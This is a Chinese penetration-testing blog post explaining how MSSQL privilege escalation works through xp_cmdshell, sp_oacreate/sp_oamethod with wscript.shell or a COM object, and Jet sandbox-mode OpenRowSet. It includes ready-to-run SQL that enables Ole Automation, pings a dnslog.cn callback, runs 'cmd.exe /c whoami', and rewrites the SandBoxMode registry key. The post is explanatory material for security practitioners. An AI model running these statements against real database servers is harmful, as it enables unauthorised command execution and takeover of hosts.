ATL实验室
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
之前在做渗透的过程中拿到mssql权限,用一些提权方式进行提权或者命令执行,网上的这类资料很多,这里就不提用法,但就一直没有就这些方式具体的原理进行探究过,本次就这些提权方式的原理进行分析,做一个小结,有不妥之处希望各位师傅能指正。
xp_cmdshell
xp_cmdshell是sql server中的一个组件,xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
xp_cmdshell能提权的原理是sql server支持堆叠查询方式,而xp_cmdshell可以执行cmd的指令,xp_cmdshell需要DBA权限并且xp_cmdshell依赖xplog70.dll文件,我们探究一下xplog70.dll文件是什么。
这里我们的文件位置在:C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn
用010打开可以看到是一个标准的PE文件结构。
对于这个dll文件,我们先关注一下调用函数是什么
advapi32.dll是对注册表一系列的操作
在看kernel32.dll,调用的api函数比较多,整体感觉是获取系统信息的东西。
我们再来看调用xplog70.dll是在sqlsever.exe主程序中。
这里还是看不出来xplog70.dll文件具体干了什么,扔在ida中,调用了一个熟悉命令:cmd.exe /c
结合整个来看,我们大概率能知道实际上xp_cmdshell就是利用的windows中cmd去执行命令。
我们继续回到执行命令的阶段,可以看到执行xp_cmdshell利用的方式也就是调用的cmd /c去执行命令。
sp_oamethod
wscript.shell组件
sp_oamethod配合sp_oacreate一起调用系统wscript.shell来执行系统命令。使用命令开启:
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
主要原理是调用OLE对象,利用OLE对象的run方法执行系统命令,我们先来看开启命令:show advanced options
官方解释"显示高级选项"选项用来显示 sp_configure 系统存储过程高级选项,当值为1时,则可以使用sp_configure列出高级选项。Ole Automation Procedures
值为1时,对sp_oacreate的调用会启动OLE共享执行环境。
我们来看看执行语句:
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping cedvb8.dnslog.cn';
Declare @runshell INT
----> 声明一个变量@runshell
Exec SP_OACreate 'wscript.shell',@runshell
---->使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@runshell变量中,wscript.shell可以简单的理解成作用就是创建一个对象
out Exec SP_OAMeTHOD @runshell,'run',null,'ping xxx.dnslog.cn';
----->使用sp_oamethod调用@runshell函数,执行命令。其中null是run的返回值。
可以看到使用sp_oamethod提权核心就是利用OLE对象的run方法执行命令。
com组件
declare @runshell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@runshell output
exec sp_oamethod @runshell,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
对于com组件执行命令,我们着重关注sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}'
这里我们引入一下对象的创建过程:
函数先检查注册表 HKEY_CLASSES_ ROOT\wscript.shell 下的子键 CurVer 的默认值,结果为 wscript.shell.1,所以知道最 新版本是 wscript.Shell.1; 读 HKEY_CLASSES_ROOT\wscript.shell.1,下面有一个子键 CLSID,默认值为{72C24DD5-D70A-438B-8A42-98424B88AFB8); 找到了 HKEY_CLASSES_ ROOT\CLSIDN(72C24DD5-D70A-438B-8A42-98424B88AFB8),子键 InProcServer的默认值说明服务程序是:C:\WINDOWS\system32\wshom.ocx。
所以最终执行的结果如下:
sandbox
沙盒模式是一种安全功能。在沙盒模式下,Access 只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。沙盒提权的核心就是对注册表的操作,依赖xp_regwrite存储过程对注册表修改,且服务器拥有 jet.oledb.4.0 驱动。
我们先来看注册表,沙盒模式在:
HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\Engine\SandBoxMode
这里设置为0,意思在任何所有者中禁止启用安全模式。共有3种参数选项,1:为仅在允许范围内;2.:必须在access模式下;
激活沙盒模式(win2003)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
win2008R2
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
执行命令(win2003)
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt ")');
win2008R2
Windows 2008 R2 默认无Access数据库文件,需要自己上传,或者用UNC路径加载文件方能执行命令。
我们可以看下执行的过程:
首先激活沙盒模式才能执行命令,先利用xp_regwrite存储过程修改注册表,也就是将SandBoxMode注册表数值修改成0,默认是2。然后利用openrowset访问一个access数据库文件,再执行我们需要的命令。
openrowset函数作用是打开一个特殊的数据库或者连接到另一个数据库之中,当我们有一个SA权限连接的时候,就可以做到打开Jet引擎连接到一个Access数据库,所以这里还需要注意的是,沙盒模式提权要DBA权限。
我们看到在执行系统命令的过程,会发现其中与c:/windows/system32/ias/ias.mdb
文件有关联,其实也就是通过access这个数据库去执行我们的cmd命令,select shell 是Access内置的一个特殊函数,要能利用这个函数就需要对激活沙盒模式,也就接上面首先要激活沙盒模式了。
其实要找mdb数据库,不仅有ias.mdb,还有dnary.mdb都可以进行利用。
以上对几种方式进行原理的探究,如有不妥之处还请师傅们指正出来。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)